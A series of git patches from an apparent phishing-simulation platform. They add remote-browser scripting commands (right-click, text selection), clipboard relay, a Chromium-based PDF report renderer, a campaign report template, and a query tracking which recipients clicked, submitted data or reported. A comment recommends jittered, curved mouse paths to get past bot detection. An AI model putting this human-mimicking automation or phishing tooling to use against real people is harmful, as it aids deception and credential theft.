rightClick " + sel) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.ScrollIntoView()) + posRes, posErr := el.Eval(`function(){var r=this.getBoundingClientRect();return[r.left+r.width/2,r.top+r.height/2]}`) + must(posErr) + pts := posRes.Value.Arr() + cx := math.Round(pts[0].Num()) + cy := math.Round(pts[1].Num()) + twoB, zeroB := 2, 0 + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: cx, Y: cy, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonRight, + Buttons: &twoB, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + time.Sleep(time.Duration(80+rand.Intn(70)) * time.Millisecond) + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: cx, Y: cy, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonRight, + Buttons: &zeroB, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + } else { + must(evalInFrame(target, fmt.Sprintf( + "var el=document.querySelector(%q);if(el)el.dispatchEvent(new MouseEvent('contextmenu',{bubbles:true,cancelable:true,button:2,buttons:2}))", + sel))) + } + dbg("✓ rightClick " + sel) + return goja.Undefined() + }) + + pc.Set("rightClickXY", func(call goja.FunctionCall) goja.Value { + x := math.Round(call.Argument(0).ToFloat()) + y := math.Round(call.Argument(1).ToFloat()) + dbg(fmt.Sprintf("→ rightClickXY %.0f,%.0f", x, y)) + twoB, zeroB := 2, 0 + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMousePressed, + X: x, Y: y, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonRight, + Buttons: &twoB, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + time.Sleep(time.Duration(80+rand.Intn(70)) * time.Millisecond) + proto.InputDispatchMouseEvent{ + Type: proto.InputDispatchMouseEventTypeMouseReleased, + X: x, Y: y, + Timestamp: proto.TimeSinceEpoch(float64(time.Now().UnixNano()) / 1e9), + Button: proto.InputMouseButtonRight, + Buttons: &zeroB, + ClickCount: 1, + PointerType: proto.InputDispatchMouseEventPointerTypeMouse, + }.Call(page) //nolint:errcheck + dbg(fmt.Sprintf("✓ rightClickXY %.0f,%.0f", x, y)) + return goja.Undefined() + }) + + pc.Set("selectText", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("→ selectText " + sel) + stmt := fmt.Sprintf( + `var el=document.querySelector(%q);if(!el)return;`+ + `if(typeof el.select==='function'){el.focus();el.select();}else{`+ + `var r=document.createRange();r.selectNodeContents(el);`+ + `var s=window.getSelection();s.removeAllRanges();s.addRange(r);}`, + sel) + must(evalInFrame(findPage(sel), stmt)) + dbg("✓ selectText " + sel) + return goja.Undefined() + }) + // mouseX/Y tracks the last position dispatched by humanMoveTo so that // consecutive moveMouse and clickXY calls produce a continuous path. var mouseX, mouseY float64 diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte index bc06999..b3a1a10 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserEditor.svelte @@ -381,6 +381,15 @@ interface Session { // ── Mouse ───────────────────────────────────────────────────────────────── click(selector: string): void; doubleClick(selector: string): void; + /** Right-click an element by selector, triggering its context menu. */ + rightClick(selector: string): void; + /** Right-click at absolute page coordinates. */ + rightClickXY(x: number, y: number): void; + /** + * Select all text content of an element. + * Works on inputs/textareas (uses .select()) and general DOM nodes (uses Selection API). + */ + selectText(selector: string): void; /** * Move to absolute coordinates along a curved Bezier path with micro-jitter * before clicking. Prefer this over bare clickXY when bot detection is a concern. @@ -540,6 +549,9 @@ interface FrameSession { // ── Mouse ───────────────────────────────────────────────────────────────── click(selector: string): void; doubleClick(selector: string): void; + rightClick(selector: string): void; + rightClickXY(x: number, y: number): void; + selectText(selector: string): void; clickXY(x: number, y: number): void; moveMouse(x: number, y: number, opts?: { duration?: number; jitter?: number }): void; scrollIntoView(selector: string): void; diff --git a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte index 1781ba6..598c371 100644 --- a/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte +++ b/frontend/src/lib/components/remote-browser/RemoteBrowserStream.svelte @@ -31,6 +31,16 @@ let injectEvent = ''; let injectData = ''; + /** @type {{ x: number, y: number } | null} */ + let contextMenu = null; + + // drag-select tracking + let dragStartX = 0; + let dragStartY = 0; + let dragStartCanvasX = 0; + let dragStartCanvasY = 0; + let isDragging = false; + function onLogPanelWheel(e) { if (e.deltaY < 0) logScrolledUp = true; } @@ -151,6 +161,10 @@ if (!urlBarFocused) urlBarValue = msg.value; } else if (msg.type === 'tabs') { tabs = msg.tabs || []; + } else if (msg.type === 'selection_text') { + if (msg.text) { + navigator.clipboard.writeText(msg.text).catch(() => {}); + } } else if (msg.type === 'closed') { status = 'Session ended'; sessionClosed = true; @@ -226,28 +240,53 @@ const scaleX = remoteWidth / rect.width; const scaleY = remoteHeight / rect.height; return { - x: Math.round((e.clientX - rect.left) * scaleX), - y: Math.round((e.clientY - rect.top) * scaleY) + x: Math.max(0, Math.min(remoteWidth, Math.round((e.clientX - rect.left) * scaleX))), + y: Math.max(0, Math.min(remoteHeight, Math.round((e.clientY - rect.top) * scaleY))) }; } - function onMouseMove(e) { - if (!controlMode) return; - const { x, y } = canvasCoords(e); - sendInput({ type: 'mousemove', x, y }); - } - - function onMouseDown(e) { + function onPointerDown(e) { if (!controlMode) return; + if (e.pointerType !== 'mouse') return; e.preventDefault(); + // Capture the pointer so pointermove and pointerup keep firing on this + // element even when the mouse leaves it - required for drag-to-select. + canvas.setPointerCapture(e.pointerId); const { x, y } = canvasCoords(e); + if (e.button === 0) { + dragStartX = e.clientX; + dragStartY = e.clientY; + dragStartCanvasX = x; + dragStartCanvasY = y; + isDragging = false; + } sendInput({ type: 'mousedown', x, y, button: e.button === 2 ? 'right' : 'left' }); } - function onMouseUp(e) { + function onPointerMove(e) { if (!controlMode) return; + if (e.pointerType !== 'mouse') return; + const { x, y } = canvasCoords(e); + if (e.buttons === 1) { + const dx = e.clientX - dragStartX; + const dy = e.clientY - dragStartY; + if (dx * dx + dy * dy > 25) isDragging = true; + } + sendInput({ type: 'mousemove', x, y, buttons: e.buttons }); + } + + function onPointerUp(e) { + if (!controlMode) return; + if (e.pointerType !== 'mouse') return; const { x, y } = canvasCoords(e); sendInput({ type: 'mouseup', x, y, button: e.button === 2 ? 'right' : 'left' }); + // Left-button drag ended - use caretRangeFromPoint in the remote browser + // to set the exact selection, since CDP mousemove events alone are + // unreliable for triggering Chrome's text selection engine. + if (e.button === 0 && isDragging) { + sendInput({ type: 'select_range', x1: dragStartCanvasX, y1: dragStartCanvasY, x2: x, y2: y }); + } + isDragging = false; } function onWheel(e) { @@ -257,6 +296,33 @@ sendInput({ type: 'scroll', x, y, deltaX: e.deltaX, deltaY: e.deltaY }); } + function onContextMenu(e) { + if (!controlMode) return; + e.preventDefault(); + contextMenu = { x: e.clientX, y: e.clientY }; + } + + function closeContextMenu() { + contextMenu = null; + } + + function copyFromRemote() { + closeContextMenu(); + sendInput({ type: 'get_selection' }); + } + + async function pasteToRemote() { + closeContextMenu(); + try { + const text = await navigator.clipboard.readText(); + if (text) sendInput({ type: 'paste', text }); + } catch { + // clipboard access denied - fall back to Ctrl+V + sendInput({ type: 'keydown', key: 'v', code: 'KeyV', keyCode: 86, modifiers: 2, charText: '' }); + sendInput({ type: 'keyup', key: 'v', code: 'KeyV', keyCode: 86, modifiers: 2 }); + } + } + function mods(e) { return (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0); } @@ -457,14 +523,35 @@ + {#if contextMenu} + + +
+
+ + +
+ {/if} + {#if logPanelOpen}
Date: Mon, 25 May 2026 14:15:48 +0200 Subject: [PATCH 25/78] add deps to docker release image Signed-off-by: Ronni Skansing --- Dockerfile.release | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) diff --git a/Dockerfile.release b/Dockerfile.release index b4b0f1e..652d8f7 100644 --- a/Dockerfile.release +++ b/Dockerfile.release @@ -1,10 +1,35 @@ FROM debian:12-slim@sha256:b29f74a267526ae6ea104eed6c46133b0ca70ce812525df8cd5817698f0a624a -# install ca-certificates for https requests +# install ca-certificates, tzdata, and Chromium runtime dependencies. +# The Chromium binary is auto-downloaded by rod at first use; these shared +# libraries must already be present or it will fail to start. RUN apt-get update && \ apt-get upgrade -y && \ - apt-get install -y ca-certificates tzdata && \ - rm -rf /var/lib/apt/lists/* + apt-get install -y --no-install-recommends \ + ca-certificates \ + tzdata \ + libglib2.0-0 \ + libnss3 \ + libnspr4 \ + libatk1.0-0 \ + libatk-bridge2.0-0 \ + libcups2 \ + libdrm2 \ + libxkbcommon0 \ + libxcomposite1 \ + libxdamage1 \ + libxfixes3 \ + libxrandr2 \ + libgbm1 \ + libasound2 \ + libpango-1.0-0 \ + libcairo2 \ + fonts-liberation \ + libx11-6 \ + libx11-xcb1 \ + libxcb1 \ + libxext6 \ + && rm -rf /var/lib/apt/lists/* # create non-root user RUN groupadd -g 1000 appuser && \ From ec1a2eb47f4874ae19671bcc44fc7c180497b5a7 Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Wed, 27 May 2026 21:03:35 +0200 Subject: [PATCH 26/78] fix delete group modal warning Signed-off-by: Ronni Skansing --- frontend/src/routes/recipient/group/+page.svelte | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/frontend/src/routes/recipient/group/+page.svelte b/frontend/src/routes/recipient/group/+page.svelte index 781450a..5897775 100644 --- a/frontend/src/routes/recipient/group/+page.svelte +++ b/frontend/src/routes/recipient/group/+page.svelte @@ -499,9 +499,10 @@ onClickDelete(deleteValues.id)} From 0ad731756c3a9ba8a7eb9deb6f152ff5827cb23f Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Wed, 27 May 2026 21:40:01 +0200 Subject: [PATCH 27/78] fix actions dropdown position Signed-off-by: Ronni Skansing --- .../table/TableDropDownEllipsis.svelte | 20 +++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte index a29d192..659068f 100644 --- a/frontend/src/lib/components/table/TableDropDownEllipsis.svelte +++ b/frontend/src/lib/components/table/TableDropDownEllipsis.svelte @@ -25,13 +25,23 @@ document.addEventListener('keydown', handleGlobalKeydown); activeFormElement.set(dropdownId); // set this as active, closing others - const viewportHeight = window.innerHeight; - const viewportWidth = window.innerWidth; + // Use clientWidth/clientHeight (excludes scrollbars, matches CSS layout) rather than + // window.innerWidth which can report stale or incorrect values after client-side navigation + // when the page previously had horizontal overflow (e.g. navigating from dashboard). + const viewportHeight = document.documentElement.clientHeight; + const viewportWidth = document.documentElement.clientWidth; const buffer = 20; const minHeight = 64; const maxHeight = 400; const gap = 8; + // Capture scroll offsets so we can express the final position in document coordinates. + // position:absolute (relative to initial containing block) requires document coords, + // which avoids the position:fixed quirk where body overflow-x:auto can cause the + // containing block to shift after cross-page navigation (e.g. dashboard → filters). + const scrollX = window.scrollX || document.documentElement.scrollLeft || 0; + const scrollY = window.scrollY || document.documentElement.scrollTop || 0; + const buttonRect = buttonRef.getBoundingClientRect(); const spaceAbove = buttonRect.top - buffer; @@ -40,6 +50,7 @@ const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow; const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight); + // Calculate in viewport coordinates first, then clamp to viewport bounds. const menuWidth = 256; const spaceOnRight = viewportWidth - buttonRect.right - buffer; menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth; @@ -56,7 +67,8 @@ menuY = buttonRect.bottom + gap; } - menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`; + // Convert viewport coordinates to document coordinates for position:absolute. + menuRef.style = `left: ${menuX + scrollX}px; top: ${menuY + scrollY}px; max-height: ${optimalHeight}px`; } }; @@ -140,7 +152,7 @@
    From e83b5d0e2f166c16d22c0233b3efbcdab9d300ab Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Wed, 27 May 2026 22:05:00 +0200 Subject: [PATCH 28/78] fix bug in table layout Signed-off-by: Ronni Skansing --- frontend/src/lib/components/table/Table.svelte | 12 +++++++----- .../src/lib/components/table/TableHeadCell.svelte | 2 -- frontend/src/lib/components/table/TableHeader.svelte | 2 -- frontend/src/routes/+layout.svelte | 7 +++++-- 4 files changed, 12 insertions(+), 11 deletions(-) diff --git a/frontend/src/lib/components/table/Table.svelte b/frontend/src/lib/components/table/Table.svelte index 0eec088..cfc7a1f 100644 --- a/frontend/src/lib/components/table/Table.svelte +++ b/frontend/src/lib/components/table/Table.svelte @@ -42,7 +42,7 @@ if (!pagination && sortable?.length) { console.warn('You need to pass a pagination object to make the column sortable'); } - columnsLength = columns.length + 2; + columnsLength = columns.length + (hasActions ? 2 : 0); }); let currentPage = pagination && pagination.currentPage; @@ -82,10 +82,12 @@ {/each} - - - - + {#if hasActions} + + + + + {/if} {/each} {/if} diff --git a/frontend/src/lib/components/table/TableHeadCell.svelte b/frontend/src/lib/components/table/TableHeadCell.svelte index 855340c..e4dcaf0 100644 --- a/frontend/src/lib/components/table/TableHeadCell.svelte +++ b/frontend/src/lib/components/table/TableHeadCell.svelte @@ -10,7 +10,6 @@ export let size = ''; // last tells if it the last field column before the actions column export let last = false; - export let fillRest = false; export let isGhost = false; export let title = ''; @@ -40,7 +39,6 @@ class:w-48={size === 'small'} class:w-56={size === 'medium'} class:w-80={size === 'large'} - class:w-full={fillRest} >
+ + + + +
+ +
+ +
Confidential
+
+ +
+
Phishing Simulation Report
+
{{.CampaignName}}
+
Campaign Results
+
+ +
+
+
+ {{if .CompanyName}} + Company{{.CompanyName}} + {{end}} + Date{{.ReportDate}} + {{if .CampaignStartDate}} + Started{{.CampaignStartDate}} + {{end}} + {{if .CampaignClosedAt}} + Closed{{.CampaignClosedAt}} + {{end}} +
+
+ +
+ + +
+ + +
Campaign results
+
+
+
Recipients
+
{{.TotalTargets}}
+
total targets
+
+
+
Emails Sent
+
{{.EmailsSent}}
+
{{printf "%.0f" .SentRate}}% of recipients
+
+
+
Emails Read
+
{{.EmailsOpened}}
+
{{printf "%.0f" .OpenRate}}% of recipients
+
+
+
+
+
Website Visits
+
{{.ResultClicked}}
+
{{.ResultClickedPercent}}% of recipients
+
+
+
Data Submitted
+
{{.ResultSubmitted}}
+
{{.ResultSubmittedPercent}}% of recipients
+
+
+
Reported
+
{{.ResultReported}}
+
{{.ResultReportedPercent}}% of recipients
+
+
+ +
Outcome
+
+ +
+ + + {{if .OpenRate}} + + {{end}} + {{printf "%.0f" .OpenRate}}% + of recipients + +
Emails Read
+
{{.EmailsOpened}} recipients
+
+ +
+ + + {{if .ClickRate}} + + {{end}} + {{.ResultClickedPercent}}% + of recipients + +
Website Visits
+
{{.ResultClicked}} recipients
+
+ +
+ + + {{if .SubmitRate}} + + {{end}} + {{.ResultSubmittedPercent}}% + of recipients + +
Data Submitted
+
{{.ResultSubmitted}} recipients
+
+ +
+ + + {{if .ReportRate}} + + {{end}} + {{.ResultReportedPercent}}% + of recipients + +
Reported
+
{{.ResultReported}} recipients
+
+ +
+ +
Conversion
+
+
+
{{.OpenedOfSent}}%
+
of those who received
read the email
+
+
+
{{.ClickedOfOpened}}%
+
of those who read
visited the website
+
+
+
{{.SubmittedOfClicked}}%
+
of those who visited
submitted data
+
+
+ + +
+ +{{if .Recipients}} + +
+ + + + + + + + + + + + + + + {{range .Recipients}} + + + + + + + + + {{end}} + +
NameEmailVisitedSubmittedReportedStatus
{{.FirstName}} {{.LastName}}{{.Email}}{{if .ClickedLink}}Yes{{else}}-{{end}}{{if .SubmittedData}}Yes{{else}}-{{end}}{{if .Reported}}Yes{{else}}-{{end}} + {{if .SubmittedData}}Submitted + {{else if .ClickedLink}}Visited + {{else if .Reported}}Reported + {{else}}No Action{{end}} +
+ + +
+{{end}} + + + diff --git a/backend/embedded/files.go b/backend/embedded/files.go index e1774de..17b2986 100644 --- a/backend/embedded/files.go +++ b/backend/embedded/files.go @@ -19,3 +19,6 @@ var SigningKey1 []byte // //go:embed signingkeys/public2.bin var SigningKey2 []byte + +//go:embed default_report.html +var DefaultReportHTML string diff --git a/backend/model/reportTemplate.go b/backend/model/reportTemplate.go new file mode 100644 index 0000000..63cba0b --- /dev/null +++ b/backend/model/reportTemplate.go @@ -0,0 +1,102 @@ +package model + +import ( + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/validate" + "github.com/phishingclub/phishingclub/vo" +) + +// ReportTemplate is a report template +type ReportTemplate struct { + ID nullable.Nullable[uuid.UUID] `json:"id"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"` + Content nullable.Nullable[vo.OptionalString1MB] `json:"content"` + + Company *Company `json:"-"` +} + +// Validate checks if the report template has a valid state +func (r *ReportTemplate) Validate() error { + if err := validate.NullableFieldRequired("content", r.Content); err != nil { + return err + } + return nil +} + +// ToDBMap converts updatable fields to a map +func (r *ReportTemplate) ToDBMap() map[string]any { + m := map[string]any{} + if r.Content.IsSpecified() { + m["content"] = nil + if content, err := r.Content.Get(); err == nil { + m["content"] = content.String() + } + } + if r.CompanyID.IsSpecified() { + if r.CompanyID.IsNull() { + m["company_id"] = nil + } else { + m["company_id"] = r.CompanyID.MustGet() + } + } + return m +} + +// ReportData is the data context passed to a report HTML template for rendering. +// Date fields are pre-formatted as "YYYY-MM-DD" strings (empty when not set). +type ReportData struct { + // Campaign identity + CampaignName string + CompanyName string + ReportDate string + CampaignStartDate string + CampaignEndDate string + CampaignClosedAt string + + // Totals + TotalTargets int64 + EmailsSent int64 + EmailsOpened int64 + + // Core outcome counts + ResultClicked int64 + ResultSubmitted int64 + ResultReported int64 + + // Formatted percentages (e.g. "45.2") — ready to use directly in templates + ResultClickedPercent string + ResultSubmittedPercent string + ResultReportedPercent string + + // Float percentages for custom formatting with {{printf "%.1f" .ClickRate}} + SentRate float64 + OpenRate float64 + ClickRate float64 + SubmitRate float64 + ReportRate float64 + + // Relative conversion rates — funnel step-to-step (formatted strings like "45.2") + OpenedOfSent string // EmailsOpened / EmailsSent + ClickedOfOpened string // ResultClicked / EmailsOpened + SubmittedOfClicked string // ResultSubmitted / ResultClicked + + // Per-recipient detail — empty for anonymous or anonymized campaigns + Recipients []ReportRecipient +} + +// ReportRecipient holds per-recipient result data for the recipient detail table +type ReportRecipient struct { + FirstName string + LastName string + Email string + Department string + Position string + ClickedLink bool + SubmittedData bool + Reported bool +} diff --git a/backend/remotebrowser/pdf.go b/backend/remotebrowser/pdf.go new file mode 100644 index 0000000..acd743c --- /dev/null +++ b/backend/remotebrowser/pdf.go @@ -0,0 +1,120 @@ +package remotebrowser + +import ( + "context" + "fmt" + "io" + "os" + "path/filepath" + "time" + + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/launcher" + "github.com/go-rod/rod/lib/proto" +) + +// WipeBrowserCache removes the auto-downloaded Chromium directory. +// The next call to RenderHTMLToPDF will trigger a fresh download. +func WipeBrowserCache() error { + dir, err := resolveBrowserRootDir() + if err != nil { + return fmt.Errorf("reportpdf: %w", err) + } + return os.RemoveAll(dir) +} + +// RenderHTMLToPDF renders an HTML string to PDF bytes using a headless Chromium instance. +// If execPath is empty the browser binary is auto-resolved using the same path as the runner. +func RenderHTMLToPDF(ctx context.Context, htmlContent string, execPath string) ([]byte, error) { + rootDir, err := resolveBrowserRootDir() + if err != nil { + return nil, fmt.Errorf("reportpdf: %w", err) + } + + crashDir := filepath.Join(rootDir, "crashes") + _ = os.MkdirAll(crashDir, 0755) + _ = os.MkdirAll(filepath.Join(rootDir, "config"), 0755) + _ = os.MkdirAll(filepath.Join(rootDir, "cache"), 0755) + + l := launcher.New(). + Headless(true). + Set("disable-crash-reporter"). + Set("crash-dumps-dir", crashDir). + Env(chromeEnv( + "XDG_CONFIG_HOME="+filepath.Join(rootDir, "config"), + "XDG_CACHE_HOME="+filepath.Join(rootDir, "cache"), + )...) + + if execPath != "" { + l = l.Bin(execPath) + } else { + b := launcher.NewBrowser() + b.RootDir = rootDir + binPath := b.BinPath() + if _, err := os.Stat(binPath); os.IsNotExist(err) { + if err := b.Download(); err != nil { + return nil, fmt.Errorf("reportpdf: browser download failed: %w", err) + } + } + l = l.Bin(binPath) + } + + u, err := l.Launch() + if err != nil { + return nil, fmt.Errorf("reportpdf: browser launch failed: %w", err) + } + defer func() { l.Kill(); l.Cleanup() }() + + browser := rod.New().ControlURL(u).Context(ctx) + if err := browser.Connect(); err != nil { + return nil, fmt.Errorf("reportpdf: browser connect failed: %w", err) + } + defer browser.Close() //nolint:errcheck + + page, err := browser.Page(proto.TargetCreateTarget{URL: "about:blank"}) + if err != nil { + return nil, fmt.Errorf("reportpdf: page create failed: %w", err) + } + + // Set viewport to A4 at 96 dpi (794×1123 px) so layout fills exactly the paper width. + // Without this Chrome defaults to a wider viewport and the content may not reach the + // right edge of the paper, producing a white strip at certain zoom levels. + if err := page.SetViewport(&proto.EmulationSetDeviceMetricsOverride{ + Width: 794, + Height: 1123, + DeviceScaleFactor: 1, + Mobile: false, + }); err != nil { + return nil, fmt.Errorf("reportpdf: set viewport failed: %w", err) + } + + if err := page.SetDocumentContent(htmlContent); err != nil { + return nil, fmt.Errorf("reportpdf: set content failed: %w", err) + } + + // non-fatal: lets inline resources settle before printing + _ = page.WaitIdle(3 * time.Second) + + a4Width := 8.27 + a4Height := 11.69 + zero := 0.0 + pdfReader, err := page.PDF(&proto.PagePrintToPDF{ + PrintBackground: true, + PaperWidth: &a4Width, + PaperHeight: &a4Height, + MarginTop: &zero, + MarginBottom: &zero, + MarginLeft: &zero, + MarginRight: &zero, + }) + if err != nil { + return nil, fmt.Errorf("reportpdf: PDF render failed: %w", err) + } + defer pdfReader.Close() //nolint:errcheck + + data, err := io.ReadAll(pdfReader) + if err != nil { + return nil, fmt.Errorf("reportpdf: read PDF failed: %w", err) + } + return data, nil +} diff --git a/backend/repository/campaign.go b/backend/repository/campaign.go index 56aa36d..b2f3abf 100644 --- a/backend/repository/campaign.go +++ b/backend/repository/campaign.go @@ -2170,3 +2170,87 @@ func (r *Campaign) DeleteCampaignStatsByID(ctx context.Context, statsID *uuid.UU res := r.DB.WithContext(ctx).Where("id = ?", statsID).Delete(&database.CampaignStats{}) return res.Error } + +// reportRecipientRow is the scan target for GetReportRecipients +type reportRecipientRow struct { + FirstName string `gorm:"column:first_name"` + LastName string `gorm:"column:last_name"` + Email string `gorm:"column:email"` + Department string `gorm:"column:department"` + Position string `gorm:"column:position"` + ClickedLink bool `gorm:"column:clicked_link"` + SubmittedData bool `gorm:"column:submitted_data"` + Reported bool `gorm:"column:reported"` +} + +// GetReportRecipients returns per-recipient click/submit/reported results for a campaign. +// Only non-anonymized recipients (recipient_id IS NOT NULL) are included. +func (r *Campaign) GetReportRecipients( + ctx context.Context, + campaignID *uuid.UUID, +) ([]model.ReportRecipient, error) { + var rows []reportRecipientRow + + res := r.DB.WithContext(ctx).Raw(` + SELECT + rec.first_name, + rec.last_name, + rec.email, + rec.department, + rec.position, + CASE WHEN clicked.recipient_id IS NOT NULL THEN 1 ELSE 0 END AS clicked_link, + CASE WHEN submitted.recipient_id IS NOT NULL THEN 1 ELSE 0 END AS submitted_data, + CASE WHEN reported.recipient_id IS NOT NULL THEN 1 ELSE 0 END AS reported + FROM campaign_recipients cr + JOIN recipients rec ON rec.id = cr.recipient_id + LEFT JOIN ( + SELECT DISTINCT recipient_id + FROM campaign_events + WHERE campaign_id = ? AND recipient_id IS NOT NULL + AND event_id IN (?, ?, ?) + ) AS clicked ON clicked.recipient_id = cr.recipient_id + LEFT JOIN ( + SELECT DISTINCT recipient_id + FROM campaign_events + WHERE campaign_id = ? AND recipient_id IS NOT NULL + AND event_id = ? + ) AS submitted ON submitted.recipient_id = cr.recipient_id + LEFT JOIN ( + SELECT DISTINCT recipient_id + FROM campaign_events + WHERE campaign_id = ? AND recipient_id IS NOT NULL + AND event_id = ? + ) AS reported ON reported.recipient_id = cr.recipient_id + WHERE cr.campaign_id = ? AND cr.recipient_id IS NOT NULL + ORDER BY rec.last_name, rec.first_name + `, + campaignID, + cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_BEFORE_PAGE_VISITED], + cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_PAGE_VISITED], + cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_AFTER_PAGE_VISITED], + campaignID, + cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA], + campaignID, + cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_REPORTED], + campaignID, + ).Scan(&rows) + + if res.Error != nil { + return nil, res.Error + } + + result := make([]model.ReportRecipient, 0, len(rows)) + for _, row := range rows { + result = append(result, model.ReportRecipient{ + FirstName: row.FirstName, + LastName: row.LastName, + Email: row.Email, + Department: row.Department, + Position: row.Position, + ClickedLink: row.ClickedLink, + SubmittedData: row.SubmittedData, + Reported: row.Reported, + }) + } + return result, nil +} diff --git a/backend/repository/reportTemplate.go b/backend/repository/reportTemplate.go new file mode 100644 index 0000000..a5edac4 --- /dev/null +++ b/backend/repository/reportTemplate.go @@ -0,0 +1,183 @@ +package repository + +import ( + "context" + "errors" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/errs" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/vo" + "gorm.io/gorm" +) + +var reportTemplateAllowedColumns = assignTableToColumns(database.REPORT_TEMPLATE_TABLE, []string{ + "created_at", + "updated_at", +}) + +// ReportTemplateOption is for query options +type ReportTemplateOption struct { + *vo.QueryArgs + WithCompany bool +} + +// ReportTemplate is a report template repository +type ReportTemplate struct { + DB *gorm.DB +} + +func (r *ReportTemplate) load(options *ReportTemplateOption, db *gorm.DB) *gorm.DB { + if options != nil && options.WithCompany { + db = db.Joins("Company") + } + return db +} + +// Insert inserts a report template +func (r *ReportTemplate) Insert( + ctx context.Context, + tmpl *model.ReportTemplate, +) (*uuid.UUID, error) { + id := uuid.New() + row := tmpl.ToDBMap() + row["id"] = id + AddTimestamps(row) + + res := r.DB. + Model(&database.ReportTemplate{}). + Create(row) + + if res.Error != nil { + return nil, res.Error + } + return &id, nil +} + +// GetAll gets report templates +func (r *ReportTemplate) GetAll( + ctx context.Context, + companyID *uuid.UUID, + options *ReportTemplateOption, +) (*model.Result[model.ReportTemplate], error) { + result := model.NewEmptyResult[model.ReportTemplate]() + var rows []database.ReportTemplate + db := r.load(options, r.DB) + db = whereCompany(db, database.REPORT_TEMPLATE_TABLE, companyID) + db, err := useQuery(db, database.REPORT_TEMPLATE_TABLE, options.QueryArgs, reportTemplateAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + if res := db.Find(&rows); res.Error != nil { + return result, res.Error + } + hasNextPage, err := useHasNextPage(db, database.REPORT_TEMPLATE_TABLE, options.QueryArgs, reportTemplateAllowedColumns...) + if err != nil { + return result, errs.Wrap(err) + } + result.HasNextPage = hasNextPage + for _, row := range rows { + tmpl, err := ToReportTemplate(&row) + if err != nil { + return result, errs.Wrap(err) + } + result.Rows = append(result.Rows, tmpl) + } + return result, nil +} + +// GetByID gets a report template by id +func (r *ReportTemplate) GetByID( + ctx context.Context, + id *uuid.UUID, + options *ReportTemplateOption, +) (*model.ReportTemplate, error) { + db := r.load(options, r.DB) + var row database.ReportTemplate + res := db. + Where(TableColumnID(database.REPORT_TEMPLATE_TABLE)+" = ?", id). + First(&row) + if res.Error != nil { + return nil, res.Error + } + return ToReportTemplate(&row) +} + +// GetForCampaign resolves the report template for a given company: company-specific first, +// then global (NULL company_id). Returns gorm.ErrRecordNotFound if neither exists. +func (r *ReportTemplate) GetForCampaign( + ctx context.Context, + companyID *uuid.UUID, +) (*model.ReportTemplate, error) { + var row database.ReportTemplate + if companyID != nil { + res := r.DB. + Where(TableColumn(database.REPORT_TEMPLATE_TABLE, "company_id")+" = ?", companyID). + First(&row) + if res.Error == nil { + return ToReportTemplate(&row) + } + if !errors.Is(res.Error, gorm.ErrRecordNotFound) { + return nil, res.Error + } + } + res := whereCompanyIsNull(r.DB, database.REPORT_TEMPLATE_TABLE). + First(&row) + if res.Error != nil { + return nil, res.Error + } + return ToReportTemplate(&row) +} + +// UpdateByID updates a report template +func (r *ReportTemplate) UpdateByID( + ctx context.Context, + id *uuid.UUID, + tmpl *model.ReportTemplate, +) error { + row := tmpl.ToDBMap() + AddUpdatedAt(row) + res := r.DB. + Model(&database.ReportTemplate{}). + Where(TableColumnID(database.REPORT_TEMPLATE_TABLE)+" = ?", id). + Updates(row) + if res.Error != nil { + return res.Error + } + return nil +} + +// DeleteByID deletes a report template by id +func (r *ReportTemplate) DeleteByID( + ctx 